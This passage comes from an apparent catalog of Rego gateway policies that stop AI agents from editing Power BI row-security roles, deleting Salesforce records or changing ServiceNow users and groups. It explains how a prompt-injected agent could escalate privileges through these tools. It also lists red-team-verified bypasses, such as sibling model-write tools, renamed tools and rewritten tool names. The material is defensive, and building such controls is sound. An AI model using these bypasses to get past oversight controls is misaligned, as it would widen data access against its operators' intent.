Gusto UI. Contact your InfoSec team if this block is a false positive." if { tool_name == "" } reason := joined if { count(reasons) > 0 reason_list := sort([r | some r in reasons]) joined := concat("; ", reason_list) } ``` ### Freeze Power BI RLS Role Edits URL: https://www.intentbasedpolicy.com/policies/power-bi/freeze-rls-role-edits App(s): power-bi | Direction: ingress | Bundles: soc2 | Package: power_bi.ingress.freeze_rls_role_edits | Published: 2026-07-12 | Tags: power-bi, freeze-identity-plane, ingress, rls, identity, groups, soc2, iso27001-nist Source: https://github.com/dtwoai/policy-store/blob/main/apps/power-bi/freeze-rls-role-edits/policy.md # power-bi / freeze-rls-role-edits **Direction:** ingress (`tool_pre_invoke`) **Default:** deny RLS-role tools, allow everything else **Package:** `power_bi.ingress.freeze_rls_role_edits` ## What it does Freezes edits to row-level-security (RLS) roles on the Power BI MCP surface. RLS role filter expressions are editable through MCP: the Power BI **modeling** server's `security_role_operations` tool (and the community server's RLS-role-management tools) can rewrite a role's DAX filter expression to `TRUE()` and silently disable row security for everyone. That is a **governance change, not a data change** — a one-line filter rewrite widens every user's data scope across the model. This ingress policy denies the RLS-role tools for every caller **except** those whose IdP `groups` claim contains the placeholder governance group `bi-governance`. Row-security definitions therefore never change from a Cowork agent session **through these RLS-role tools** (see Known limitations for the sibling-tool residual — a full-model write can reach the same objects by another name). All other tools pass through unchanged. The modeling server's tools are coarse `_operations` multiplexers: a single tool name multiplexes many sub-operations (list/create/update/delete-style) selected by an operation argument, and that operation enum is **undocumented** (landscape-noted as unverified). The tool name alone does not distinguish a read from a rewrite. This policy therefore denies the **whole tool** regardless of the operation argument — so even a read-only role listing through `security_role_operations` is blocked for non-governance callers. Denying the whole multiplexer is the only safe choice when a "list" and a "set filter to TRUE()" arrive under the same tool name; the deny reason directs analysts to request RLS changes through their governance workflow. ## Compliance alignment - **ISO 27001:2022 A.8.2 / NIST 800-53 AC-6(9), AC-6(10)** — supports privileged access restriction: editing an RLS role's filter expression is a privileged security-configuration function, and this policy prevents non-privileged callers (and injected agents acting as them) from exercising it on the agent channel. It keeps the RLS-role surface reserved to an explicit IdP-asserted governance group. - **SOC 2 CC6.1 / CC6.3** — supports logical access security and role-based least privilege by reserving the RLS-role edit surface to an explicit IdP-asserted governance group, so a non-privileged caller (or an injected agent acting as one) cannot rewrite a row-security filter on the agent channel. ## Tool name matching The policy matches case-insensitively on the lowercased, whitespace-trimmed `input.resource.name`, by **suffix**, because the DTwo gateway prefixes tool names with the configured MCP server name and that prefix is not standardized: - `security_role_operations` — the modeling server's RLS-role CRUD multiplexer (**verified** from `microsoft/powerbi-modeling-mcp`) - `create_rls_role`, `update_rls_role`, `delete_rls_role` — the community server's RLS-role-management tools. The landscape note records that three such tools exist but their exact names are **unverified**; these three suffixes are **placeholders to confirm and replace at import time**. These suffixes are snake_case and carry no leading separator, so a bare, unprefixed tool name (`security_role_operations`) and a prefixed one (`powerbi-modeling-security_role_operations`) both match. Verify the exact names your gateway sends with the dump-input debug technique before relying on this in production, and confirm the community tool names against your deployment. ## Argument shape The decision uses only the tool name (`input.resource.name`) and the caller's identity (`input.subject.claims.groups`). **Tool arguments are not inspected** — by design, because the operation enum on the `_operations` multiplexer is undocumented and a permissive "this is only a list" argument cannot be trusted to distinguish a read from a filter rewrite. No argument-shape drift can bypass the deny. ## Identity claims Identity is read from `object.get(input.subject, "claims", {})`, then the placeholder governance group is checked against the `groups` claim: - `groups` — the caller's IdP-asserted group memberships (an array of strings). Membership of the placeholder `bi-governance` group is the only exemption. The lookup **fails closed (deny)**: a missing `subject`, missing `claims`, a missing/empty `groups` claim, or a `groups` claim that is not an array all yield "not a governance member", and the RLS-role tool is denied. No group means no exemption. ## Examples ### Allowed — a non-RLS modeling tool passes through ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "powerbi-modeling-measure_operations", "type": "tool" }, "payload": { "name": "powerbi-modeling-measure_operations", "args": { "operation": "list" } } } } ``` `allow = true`, no reason — this policy governs only the RLS-role surface. ### Denied — RLS-role edit by a non-governance caller ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "powerbi-modeling-security_role_operations", "type": "tool" }, "subject": { "sub": "auth0|analyst", "claims": { "groups": ["analysts"] } }, "payload": { "name": "powerbi-modeling-security_role_operations", "args": { "operation": "update", "role": "RegionFilter", "filter": "TRUE()" } } } } ``` `allow = false`, `reason = "Power BI row-level-security (RLS) role definitions are frozen on the agent path (...)"`. ### Denied — even a read-only role listing is blocked The same `security_role_operations` tool with `"args": { "operation": "list" }` and a non-governance caller still returns `allow = false` — the whole multiplexer is denied because the operation argument cannot be trusted to distinguish a read from a rewrite. ### Allowed — same edit by a `bi-governance` member The first denied call above, but with `"groups": ["bi-governance"]` in `input.subject.claims`, returns `allow = true`. ## Composition This policy is single-purpose. Curated companions on the Power BI surface: - **`default-deny-unknown-modeling-ops`** (PF-28) — allowlist the audited `*_operations` tools and deny on drift. **Pair this with it**: a renamed or newly added RLS-role tool would not match the suffixes here, but the default-deny policy catches it, so a renamed RLS tool does not slip past. - **`block-rls-bypass-service-principal`** — denies RLS-sensitive *reads/queries* under a service-principal identity (the read side of the RLS story). - **A PF-22 escape-hatch deny** on any raw-XMLA / generic passthrough tool that could reach the same model metadata without matching a named suffix. ## Known limitations - **Community RLS-role tool names are unverified.** The community server exposes three RLS-role-management tools whose names the landscape note records as unverified. The `create_rls_role` / `update_rls_role` / `delete_rls_role` suffixes are **placeholders** — confirm the real names against your community server and replace them at import time. Because the enforcement backstop is the companion `default-deny-unknown-modeling-ops` allowlist, an un-updated placeholder does not open a silent hole: an unknown RLS tool is caught there rather than allowed here. - **Group names are placeholders** — replace `bi-governance` with your IdP's group name at import time. The match is an exact, case-sensitive string comparison against entries of the `groups` claim; `BI-Governance` does not match `bi-governance`. - **The `groups` claim must be an array of strings.** If your IdP emits a single string or a namespaced custom claim (e.g. `https://acme.com/groups`), adjust `caller_groups` in the Rego. The exemption is guarded by `is_array`, so every non-array shape fails closed (deny) — including an object-shaped claim such as `{"role": "bi-governance"}`, whose *values* would otherwise have been iterated by `some group in caller_groups` and spoofed the governance exemption. - **Whole-tool deny is coarse by necessity.** Because the modeling server's operation enum is undocumented, this policy blocks even read-only role listings for non-governance callers. That is the safe choice given the multiplexer design; if your deployment documents the operation argument and you want to allow read operations, narrow the deny to write operations only — but do so knowing a permissive argument value cannot be trusted against an injected agent. - **Sibling modeling tools can redefine RLS roles without the named RLS tools (residual bypass — red-team finding).** RLS roles are objects inside the Tabular model definition, so a full-model or table-level metadata write through a *different* verified modeling tool — notably `model_operations` (and potentially `table_operations`) via a TMSL/TMDL `createOrReplace` that carries a `Roles` collection — can create or rewrite a security role's filter expression without ever invoking `security_role_operations`. Those tools are **not** renames of the RLS tool, so the companion `default-deny-unknown-modeling-ops` (PF-28) allowlist does **not** catch them: they are audited, expected tools PF-28 is meant to *allow*, and the "constrain modeling writes" candidate (deny `*_operations` except `dax_query_operations`/`model_operations`) explicitly *exempts* `model_operations`. This policy alone therefore does not guarantee row-security definitions never change from a Cowork session against a caller who holds `model_operations` (or `table_operations`) access. Mitigate by gating `model_operations`/`table_operations` behind the same `bi-governance` group (or a broader modeling-write role-gate) for any tenant where model-definition writes are in scope. (Red-team-verified: `model_operations` passes through this policy in isolation — see tests.yaml.) - **Suffix matching assumes the gateway joins the server-name prefix with a separator that leaves the snake_case tool name as a suffix.** DTwo's gateway does. A non-standard gateway that mangled the tool name could slip through; verify with the dump-input debug technique. - **Base-name rename / version drift slips past the exact-suffix match.** The match is `endswith(tool_name, suffix)` against the *exact* base names, so a renamed or versioned variant — e.g. `security_role_operations_v2`, or a community RLS tool named `manage_rls_role` / `set_rls_filter` rather than the `*_rls_role` placeholders — does **not** match here and this policy alone would allow it. This is by design for a single-purpose freeze: the enforcement backstop is the companion `default-deny-unknown-modeling-ops` (PF-28) allowlist, which denies any tool not on the audited list, so a renamed/added RLS tool is caught there rather than allowed. Deploy this policy paired with that PF-28 allowlist, and re-confirm suffixes with the dump-input debug technique whenever the upstream server version changes. (Red-team-verified: `security_role_operations_v2` and `manage_rls_role` pass through this policy in isolation — see tests.yaml.) > **Compliance note.** This policy supports alignment with the cited framework controls **on the MCP path only**. No policy or bundle makes an organization compliant with any framework; web-UI, native-API, and in-app access are outside the gateway's reach by design. Validate against your own compliance program before relying on it. ```rego package power_bi.ingress.freeze_rls_role_edits # Deny-by-default: only the explicit allow rules below permit the request. default allow := false # Placeholder IdP group permitted to edit RLS role definitions. # Replace "bi-governance" with your IdP's group name at import time. governance_group := "bi-governance" # Lowercased, whitespace-trimmed tool name. The gateway prefixes tool names with # the configured MCP server name, so matching is case-insensitive and suffix-based # to stay portable across server names. trim_space so a trailing space/newline in # the tool name cannot defeat the endswith suffix match. tool_name := trim_space(lower(object.get(object.get(input, "resource", {}), "name", ""))) # RLS-role tools. These are coarse multiplexers / management tools whose operation # argument cannot be trusted to distinguish a read from a filter rewrite, so the # whole tool is matched regardless of arguments. rls_role_suffixes := [ # Modeling server RLS-role CRUD multiplexer (VERIFIED, microsoft/powerbi-modeling-mcp). "security_role_operations", # Community server RLS-role-management tools — names UNVERIFIED placeholders. # The landscape note records that three such tools exist but not their names. # Confirm against your community server and replace before import. "create_rls_role", "update_rls_role", "delete_rls_role", ] # Suffix match. These suffixes carry no leading separator, so a bare unprefixed # tool name (`security_role_operations`) and a prefixed one both match. is_rls_role_tool if { some suffix in rls_role_suffixes endswith(tool_name, suffix) } # --- Identity (fail closed) --- # Read groups via object.get(input.subject, "claims", {}). A missing subject, # missing claims, missing groups claim, or a non-array groups claim all yield # "not a governance member", so the RLS-role tool is denied. claims := object.get(input.subject, "claims", {}) caller_groups := object.get(claims, "groups", []) # Guard on is_array: without it, `some group in caller_groups` would iterate the # *values* of an object-shaped groups claim, so a claim like {"role": "bi-governance"} # would spoof the exemption and fail OPEN. Requiring an array makes every non-array # shape (string, object, number) fail closed. caller_is_governance if { is_array(caller_groups) some group in caller_groups group == governance_group } # Allow any tool that is not an RLS-role tool (all other Power BI tools pass through). allow if { not is_rls_role_tool } # Allow RLS-role tools only for members of the governance group. allow if { is_rls_role_tool caller_is_governance } reasons contains msg if { is_rls_role_tool not caller_is_governance msg := sprintf("Power BI row-level-security (RLS) role definitions are frozen on the agent path — an RLS filter expression controls who sees which rows, so changing it is a governance action, not a data change. This tool is blocked for every operation (including read-only role listings) because its operation argument cannot be trusted to distinguish a read from a filter rewrite. Request RLS role changes through your data-governance workflow. If your role requires editing RLS through the gateway, ask your data-governance team to add you to the '%s' IdP group, or contact your InfoSec team if this looks like a false positive.", [governance_group]) } reason := joined if { count(reasons) > 0 reason_list := sort([r | some r in reasons]) joined := concat("; ", reason_list) } ``` ### Freeze Salesforce Record Deletes URL: https://www.intentbasedpolicy.com/policies/salesforce/freeze-record-deletes App(s): salesforce | Direction: ingress | Bundles: soc2, crm | Package: salesforce.ingress.freeze_record_deletes | Published: 2026-07-12 | Tags: salesforce, freeze-destructive-ops, ingress, crm, soc2 Source: https://github.com/dtwoai/policy-store/blob/main/apps/salesforce/freeze-record-deletes/policy.md # salesforce / freeze-record-deletes **Direction:** ingress (`tool_pre_invoke`) **Default:** deny record-delete capability, allow everything else **Package:** `salesforce.ingress.freeze_record_deletes` ## What it does Denies all Salesforce record-deletion capability on the agent channel unless the caller's IdP `groups` claim contains the placeholder group `sf-admins`. Salesforce deletes are only recycle-bin recoverable for roughly 15 days, and deletes cascade to master-detail child records — an injected or erroneous agent delete is effectively irreversible. This policy makes a human-approved path (a Salesforce admin) the only way records get deleted through MCP. Three delete surfaces are covered: - **Salesforce Hosted MCP servers** (`sobject-all` / `sobject-deletes`): `deleteSobjectRecord`, `deleteSobjectRecordByRelationship`, and `deleteChildRecord` — denied by tool-name suffix for callers outside `sf-admins`. - **Community smn2gnt/MCP-Salesforce:** `delete_record` and `bulk_delete_records` — denied by tool-name suffix for callers outside `sf-admins`. - **Community tsmztech/mcp-server-salesforce:** `salesforce_dml_records` fronts every DML verb through one tool, so the policy reads `arguments.operation` (via `object.get`) and treats the call as safe **only** when the verb is one of the verified non-destructive operations (`insert`/`update`/`upsert`), compared case- and whitespace-insensitively. Anything else — `delete`, a whitespace-padded `delete `, an unrecognized verb, or a missing/empty/non-string value — **fails closed and is denied**, since a call whose verb cannot be confirmed non-destructive must be assumed delete-capable. All other tools — reads, searches, creates, updates, and non-Salesforce tools — pass through unchanged. ## Compliance alignment - **SOX §802 / 18 U.S.C. §1519** — anti-destruction/alteration of records: an agent cannot delete Opportunity, Order, Contract, or any other record feeding financial reporting on the MCP path; **§802 / SEC Rule 2-06** — supports retention and legal-hold posture by keeping agent-driven deletion off evidence paths. - **SOC 2 PI1.5** — supports integrity of stored records by preventing agent-initiated destruction of CRM data. - **HIPAA §164.312(c)** — integrity (anti-alteration/destruction) on the agent channel for health-cloud orgs whose Contacts and custom objects carry PHI; **§164.530(c)** — administrative safeguard limiting who can destroy records containing PHI. - **GDPR Art. 5(1)(d)** — accuracy (anti-mass-corruption): stops an errant or injected agent from bulk-erasing personal-data records (`bulk_delete_records` included). ## Tool name matching Matches case-insensitively on the **suffix** of `input.resource.name`. The DTwo gateway prefixes tool names with the configured MCP server name (e.g. `salesforce-deleteSobjectRecord` for a server registered as `salesforce`), and that prefix is not standardized — suffix matching keeps the policy portable across the hosted and community dialects. Suffixes matched: - `deletesobjectrecord`, `deletesobjectrecordbyrelationship` (hosted `sobject-all`) - `deletesobjectrecord`, `deletechildrecord` (hosted `sobject-deletes`) - `delete_record`, `bulk_delete_records` (smn2gnt) - `salesforce_dml_records` (tsmztech) — argument-gated, see below Verify the exact names your gateway sends with the dump-input debug technique before relying on this in production. ## Argument shape - `salesforce_dml_records` (tsmztech) takes `operation` (enum: insert/update/upsert/delete), `objectName`, and `records[]`. The policy reads `operation` with `object.get(input.payload.args, "operation", "")`, trims and lowercases it, and treats the call as safe **only** when the result is in the allowlist `{insert, update, upsert}`. Everything else — `delete`, a whitespace-padded `delete `, a case variant, an unrecognized/future verb, or a missing, empty, or non-string `operation` — **fails closed** (denied for non-admins). One tool fronts all DML verbs, so any verb not confirmed non-destructive is assumed destructive. The failure direction is over-block, never under-block. - The `sf-admins` exemption reads `input.subject.claims.groups` via `object.get` chains with an empty-array default, so a missing subject, missing claims, or missing `groups` claim deterministically fails closed (deny). - The suffix-matched delete tools are denied on name alone; their `sobject-name` / `id` / `object_type` arguments are not inspected. ## Examples ### Allowed — read tool, untouched ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "salesforce-soql_query", "type": "tool" }, "payload": { "name": "salesforce-soql_query", "args": { "query": "SELECT Id FROM Account" } } } } ``` `allow = true`, no reason. ### Denied — hosted delete tool without the sf-admins group ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "salesforce-deleteSobjectRecord", "type": "tool" }, "subject": { "sub": "auth0|rep@example.com", "claims": { "groups": ["sales"] } }, "payload": { "name": "salesforce-deleteSobjectRecord", "args": { "sobject-name": "Contact", "id": "0035g00000XyZzAAA" } } } } ``` `allow = false`, reason names the tool and points to a Salesforce admin. ### Denied — DML tool with the operation argument missing (fail closed) ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "sf-mcp-salesforce_dml_records", "type": "tool" }, "payload": { "name": "sf-mcp-salesforce_dml_records", "args": { "objectName": "Contact", "records": [{ "Id": "0035g00000XyZzAAA" }] } } } } ``` `allow = false` — the verb cannot be confirmed, so the call is treated as a delete. ### Allowed — DML insert passes through ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "sf-mcp-salesforce_dml_records", "type": "tool" }, "payload": { "name": "sf-mcp-salesforce_dml_records", "args": { "operation": "insert", "objectName": "Task", "records": [{ "Subject": "Call" }] } } } } ``` `allow = true` — an explicit non-delete verb is not gated by this policy. ## Composition Single-purpose: this policy only freezes record deletion. Companions: - [`salesforce/read-only`](../read-only/policy.md) — for orgs that block **all** writes on the agent channel; this policy complements it for orgs that do allow writes but want deletes human-approved. - `salesforce/role-gate-writes` — gates create/update by IdP group and deliberately leaves deletes to this policy; attach both for full write governance. - An escape-hatch deny policy for `salesforce_execute_anonymous`, `apex_execute`, `tooling_execute`, and `restful` — those tools can delete records without ever matching a delete tool name (see Known limitations). ## Known limitations - **Group names are placeholders — replace `sf-admins` with your IdP's group name at import time.** The exemption reads `input.subject.claims.groups` (array of strings) and fails closed: no IdP, no claim, or a non-array `groups` value means nobody is exempt. - **Escape hatches are out of scope.** `salesforce_execute_anonymous` (tsmztech), `apex_execute`, `tooling_execute`, and `restful` (smn2gnt) can run arbitrary Apex or REST calls that delete records without matching any suffix here. Pair this policy with an escape-hatch deny — a delete freeze without it is advisory for those servers. - **SOQL/SOSL cannot delete**, so query tools are intentionally untouched. - **Beta-era hosted tool names are not matched.** Late-2025 beta writeups showed snake_case hosted names; the GA references use the camelCase names matched here, and no beta-era delete tool name was verified. Validate against your deployed server's live `tools/list`. - **Generic suffix collision.** smn2gnt's `delete_record` / `bulk_delete_records` are unprefixed snake_case and may match delete tools of *other* CRM MCP servers on the same gateway. The failure mode is over-blocking (those deletes also require `sf-admins`), never under-blocking. - **The Salesforce DX MCP server (`@salesforce/mcp`) is not covered** — it is developer tooling with its own 60+ tool surface; govern it separately. - **`operation` values other than plain strings fail closed.** A numeric or object `operation` on `salesforce_dml_records` is denied for non-admins by design; if your server coerces such values to a verb, confirm its behavior before relaxing this. > **Compliance note.** This policy supports alignment with the cited framework controls **on the MCP path only**. No policy or bundle makes an organization compliant with any framework; web-UI, native-API, and in-app access are outside the gateway's reach by design. Validate against your own compliance program before relying on it. ```rego package salesforce.ingress.freeze_record_deletes # Deny-by-default: only the explicit allow rules below permit the request. default allow := false # Dedicated record-delete tools, matched by suffix (the gateway prefixes tool # names with the configured MCP server name, which is not standardized). # Verified against the Salesforce Hosted MCP GA references (sobject-all, # sobject-deletes) and the smn2gnt community server's documented tool set. delete_suffixes := [ # Hosted sobject-all / sobject-deletes — hard delete by record id "deletesobjectrecord", # Hosted sobject-all — delete via a relationship path "deletesobjectrecordbyrelationship", # Hosted sobject-deletes — delete a child record "deletechildrecord", # Community smn2gnt — single-record delete "delete_record", # Community smn2gnt — bulk delete by id list "bulk_delete_records", ] # Case-insensitive tool name; missing fields resolve to "" (never matches). tool_name := lower(object.get(object.get(input, "resource", {}), "name", "")) # Tool arguments; {} when payload/args are absent so lookups fail closed. args := object.get(object.get(input, "payload", {}), "args", {}) is_delete_tool if { some suffix in delete_suffixes endswith(tool_name, suffix) } # tsmztech's salesforce_dml_records fronts insert/update/upsert/delete through # one tool, so the verb lives in the `operation` argument, not the tool name. is_dml_tool if { endswith(tool_name, "salesforce_dml_records") } # The DML call is safe only when `operation` is one of tsmztech's verified # non-destructive verbs (insert/update/upsert), compared case- and # whitespace-insensitively. This is an allowlist, not a "not delete" denylist: # a missing, empty, non-string, whitespace-padded ("delete "), or otherwise # unrecognized verb (e.g. a future "hardDelete") leaves this undefined, so the # call fails closed below — an unconfirmed verb is assumed delete-capable. safe_dml_operations := {"insert", "update", "upsert"} dml_operation_is_safe if { op := object.get(args, "operation", "") is_string(op) lower(trim_space(op)) in safe_dml_operations } # Record-delete capability: a dedicated delete tool, or the multi-verb DML # tool whose operation is (or must be assumed to be) delete. is_record_delete if { is_delete_tool } is_record_delete if { is_dml_tool not dml_operation_is_safe } # Placeholder IdP group — replace `sf-admins` with your IdP's group name at # import time. Read fail-closed: missing subject/claims/groups → [] → no # exemption. A non-array `groups` value also fails closed (no iteration). caller_is_sf_admin if { groups := object.get(object.get(object.get(input, "subject", {}), "claims", {}), "groups", []) some group in groups lower(group) == "sf-admins" } # Allow any tool without record-delete capability. allow if { not is_record_delete } # Allow record deletes only for sf-admins members. allow if { is_record_delete caller_is_sf_admin } reasons contains msg if { is_delete_tool not caller_is_sf_admin msg := sprintf("The tool '%s' deletes Salesforce records, which is restricted to the sf-admins group on this channel. Salesforce deletes are only recycle-bin recoverable for about 15 days and cascade to master-detail child records. Ask a Salesforce admin to perform or approve the deletion. Contact your InfoSec team if this block is a false positive.", [tool_name]) } reasons contains msg if { is_dml_tool not dml_operation_is_safe not caller_is_sf_admin msg := sprintf("The tool '%s' fronts all Salesforce DML verbs including delete, and this call's 'operation' argument is 'delete', missing, or unreadable, so it fails closed as a delete restricted to the sf-admins group. Retry with an explicit non-delete operation (insert, update, or upsert), or ask a Salesforce admin to perform or approve the deletion. Contact your InfoSec team if this block is a false positive.", [tool_name]) } reason := joined if { count(reasons) > 0 reason_list := sort([r | some r in reasons]) joined := concat("; ", reason_list) } ``` ### Freeze ServiceNow Identity Plane URL: https://www.intentbasedpolicy.com/policies/servicenow/freeze-identity-plane App(s): servicenow | Direction: ingress | Bundles: soc2 | Package: servicenow.ingress.freeze_identity_plane | Published: 2026-07-12 | Tags: servicenow, freeze-identity-plane, ingress, identity, groups, soc2, iso27001-nist Source: https://github.com/dtwoai/policy-store/blob/main/apps/servicenow/freeze-identity-plane/policy.md # servicenow / freeze-identity-plane **Direction:** ingress (`tool_pre_invoke`) **Default:** deny identity-and-access mutations, allow everything else **Package:** `servicenow.ingress.freeze_identity_plane` ## What it does Freezes the identity-and-access mutation surface of the ServiceNow MCP server. The policy denies, by tool-name suffix: - `*create_user` / `*update_user` — user record creation and property changes - `*create_group` / `*update_group` — group creation and property changes - `*add_group_members` / `*remove_group_members` — group membership changes All other tools pass through unchanged. The denied tools are exempt **only** for callers whose IdP `groups` claim contains the placeholder group `identity-admins`, read fail-closed from `input.subject.claims.groups` — a missing subject, missing claims, or a missing/empty/non-array `groups` claim means no exemption and the mutation is denied. The escalation risk is concrete in ServiceNow. Group membership drives ACL evaluation across the entire platform: a role granted to a group flows to every member, so `add_group_members` is a privilege-escalation primitive — a prompt-injected agent that can call it can grant itself (or its caller) admin-equivalent reach without touching a single role record. `create_user` / `update_user` can mint or re-home an account; `create_group` / `update_group` can stand up or repurpose an access-bearing group. Freezing these at ingress means the mutation never reaches the instance. Read-side identity tools stay open by design — `get_user`, `list_users`, `list_groups` are **not** matched here. Recon is unaffected so agents operate without spurious denials; PII exposure on those read paths is the job of the companion `fence-sensitive-tables` / PII-redaction policies, not this one. ## Compliance alignment - **SOC 2 CC6.1** — supports logical access security over protected information assets: the identity- and group-mutation tools are identity-gated at the MCP boundary, so a non-privileged caller (or an injected agent acting as one) cannot provision users or change group membership on the agent channel. **SOC 2 CC6.3** — supports role-based access and least privilege: the ability to mutate the ServiceNow identity plane is tied to membership in the placeholder `identity-admins` IdP group, and removing that group in the IdP removes agent access on the next call. - **ISO 27001 A.8.2 / NIST 800-53 AC-6(9), AC-6(10)** — supports privileged access restriction: user provisioning and group-membership changes are privileged access-management operations, and this policy prevents non-privileged callers (and injected agents acting as them) from executing those privileged functions on the agent channel. This is the ServiceNow instance of policy family PF-13; the coverage matrix maps A.8.2 / AC-6(9)(10) to PF-13 as an enforceable control on the MCP path, and lists AC-6 → PF-13 again under the public-sector (FedRAMP/CJIS) baseline. No HIPAA / PCI DSS / GDPR-CCPA / SOX bundle tag is claimed: the coverage matrix cites PF-13 under the SOC 2 CC6.x logical-access criteria and the ISO 27001 / NIST rows (and the public-sector baseline), so this policy supports alignment with those controls and does not assert coverage under the other frameworks. ## Tool name matching The policy matches by suffix on the lowercased, whitespace-trimmed `input.resource.name`: `create_user`, `update_user`, `create_group`, `update_group`, `add_group_members`, `remove_group_members` These are the `verb_noun` snake_case tool names from the `echelon-ai-labs/servicenow-mcp` server — the de facto community vocabulary that most wrappers copy (michaelbuckner uses the same `create_*`/`update_*` shapes). The DTwo gateway prefixes tool names with the configured MCP server name, and that prefix is not standardized. Because each suffix is the trailing tool token itself (no leading separator), `endswith` matches whether the gateway joins the prefix with a hyphen (`servicenow-create_user`), an underscore, a dot, or forwards the bare name (`create_user`) — the suffix sits at the end of the string in every case. Matching is case-insensitive. Verify the exact names your gateway sends with the dump-input debug technique before relying on this in production. ## Argument shape The decision uses only the tool name (`input.resource.name`) and the caller's identity (`input.subject.claims.groups`). Tool arguments are **not** inspected, so no argument-shape drift can bypass the deny. Identity is read with `object.get` chains: a missing `subject`, missing `claims`, or missing `groups` claim yields an empty group list, which fails closed — the caller is not exempt and the mutation is denied. The `groups` claim must be a JSON array of strings; a non-array shape (string, object, number) fails closed. ## Examples ### Allowed — read tool, no identity required ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "servicenow-list_users", "type": "tool" }, "payload": { "name": "servicenow-list_users", "args": { "limit": 20 } } } } ``` `allow = true`, no reason. ### Denied — membership mutation by a non-admin caller ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "servicenow-add_group_members", "type": "tool" }, "subject": { "sub": "auth0|agent-user", "claims": { "groups": ["service_desk"] } }, "payload": { "name": "servicenow-add_group_members", "args": { "group": "admins", "members": ["agent-user"] } } } } ``` `allow = false`, `reason = "ServiceNow identity and group changes are frozen on the agent path (...)"`. ### Allowed — same mutation by an `identity-admins` member The same call with `"groups": ["identity-admins"]` in `input.subject.claims` returns `allow = true`. ## Composition This policy is single-purpose. Useful companions: - **`default-deny-unknown-tools`** (PF-28, already in this app dir) — mandatory for ServiceNow because the official MCP Server Console publishes instance-defined tool names (Subflows/Actions/Scripted REST APIs) that could perform identity mutations under names this suffix list cannot anticipate. The allowlist catches drift; this policy freezes the known community tools. - **A PF-22 escape-hatch deny** — michaelbuckner's `perform_query` / `natural_language_update` and any generic Table-API tool can write `sys_user` / `sys_user_grmember` directly, bypassing every per-tool rule here. Without it, this policy's guarantee holds only for the named tools. - **`role-gate-writes`** (PF-12) — the baseline write gate for everything else on the ServiceNow surface. - **`fence-sensitive-tables` / PII-redaction egress** — owns read-side identity exposure (`get_user`, `list_users`), which this policy deliberately leaves open. ## Known limitations - **Generic-query and NL-write tools bypass this policy.** michaelbuckner's `perform_query`, `get_record`, `search_records`, and especially `natural_language_update` take a table name (or free text) and reach `sys_user` / `sys_user_group` / `sys_user_grmember` without matching any suffix here. Deploy a PF-22 escape-hatch deny and the PF-28 allowlist alongside this one. - **Official-server tool names are instance-defined.** The ServiceNow MCP Server Console derives tool names from the admin-published skill/subflow/API name, so an identity-mutating Subflow could carry any name. Suffix matching cannot cover that surface — rely on PF-28 default-deny-unknown-tools for the official server and add exact matches per tenant once the published tool list is known. - **Group names are placeholders** — replace `identity-admins` with your IdP's group name at import time. The match is an exact, case-sensitive string comparison against entries of the `groups` claim; `Identity-Admins` does not match `identity-admins`, and a lookalike like `identity-admins-viewers` does not match either (the comparison is `==`, not substring/prefix). - **The `groups` claim must be an array of strings.** If your IdP emits a single string or a namespaced custom claim (e.g. `https://acme.com/groups`), adjust `caller_groups` in the Rego. The exemption is guarded by `is_array`, so every non-array shape fails closed (deny) — including an object-shaped claim such as `{"role": "identity-admins"}`, whose *values* would otherwise have been iterated by `some group in caller_groups` and spoofed the admin exemption. - **Tool-name normalization.** The suffixes are the server's `verb_noun` snake_case tokens, so any gateway or SDK that rewrites the separator defeats the `endswith` match. Two distinct rewrites both slip through: **separator replacement** — kebab-case (`create-user` instead of `create_user`) — and **separator collapse** — camelCase (`createUser`, `addGroupMembers`), where the `_` disappears entirely so `lower("...createUser")` = `...createuser` ends with none of the snake_case suffixes. DTwo's gateway forwards the upstream tool name verbatim (snake_case), so this does not arise on the DTwo path, but some MCP SDKs auto-camelCase tool names. Verify with the dump-input debug technique; if your gateway rewrites separators, add the rewritten forms (`create-user`, `createuser`, …) to `identity_mutation_suffixes`. - **Reordered / non-`verb_noun` tool vocabularies bypass the suffix list.** The suffixes assume the echelon/michaelbuckner `verb_noun` convention (`create_user`). Servers that invert the token order — LokiMCPUniverse ships a `noun_verb` ServiceNow server (`incident_create`), so its identity tools would be `user_create`, `user_update`, `group_create`, `group_update`, and a membership tool such as `group_member_add` — end with **none** of these suffixes, so `servicenow-user_create` passes through and the mutation reaches the instance. This is not a gateway rewrite (DTwo forwards the upstream name verbatim); it is a genuinely different upstream tool vocabulary. Verify your server's actual names with the dump-input debug technique, and for a noun_verb server add the reordered forms (`user_create`, `user_update`, `group_create`, `group_update`, `group_member_add`, `group_member_remove`, …) to `identity_mutation_suffixes`, or rely on the PF-28 default-deny-unknown-tools allowlist to catch the un-anticipated names. - **Reads stay open by design.** `get_user`, `list_users`, and `list_groups` are not gated here — recon and read-side PII belong to the fence/redaction companions. If directory recon itself is a concern, add a separate read-gating policy rather than widening this one. - **A request with no resolvable tool name passes through.** This is a blocklist keyed on `input.resource.name`: a missing or empty name matches no suffix and is allowed. The gateway reliably populates `resource.name` on `tool_pre_invoke`, so this is inherent blocklist semantics; if you need fail-closed-on-unknown, deploy a PF-28 default-deny allowlist policy instead of (or alongside) this one. > **Compliance note.** This policy supports alignment with the cited framework controls **on the MCP path only**. No policy or bundle makes an organization compliant with any framework; web-UI, native-API, and in-app access are outside the gateway's reach by design. Validate against your own compliance program before relying on it. ```rego package servicenow.ingress.freeze_identity_plane # Deny-by-default: only the explicit allow rules below permit the request. default allow := false # Placeholder IdP group permitted to perform identity-plane mutations. # Replace "identity-admins" with your IdP's group name at import time. identity_admin_group := "identity-admins" # Lowercased, whitespace-trimmed tool name. The gateway prefixes tool names # with the configured MCP server name, so matching is case-insensitive and # suffix-based to stay portable across server names. trim_space so a trailing # space/newline in the tool name cannot defeat the endswith suffix match. tool_name := trim_space(lower(object.get(object.get(input, "resource", {}), "name", ""))) # Identity-and-access mutation tools on the echelon-ai-labs/servicenow-mcp # server (verb_noun snake_case, the de facto community vocabulary). Each suffix # is the trailing tool token itself (no leading separator), so endswith matches # a bare name (`create_user`) and any prefix/separator the gateway prepends # (`servicenow-create_user`, `servicenow.create_user`, `servicenowcreate_user`). # Read-side identity tools (get_user, 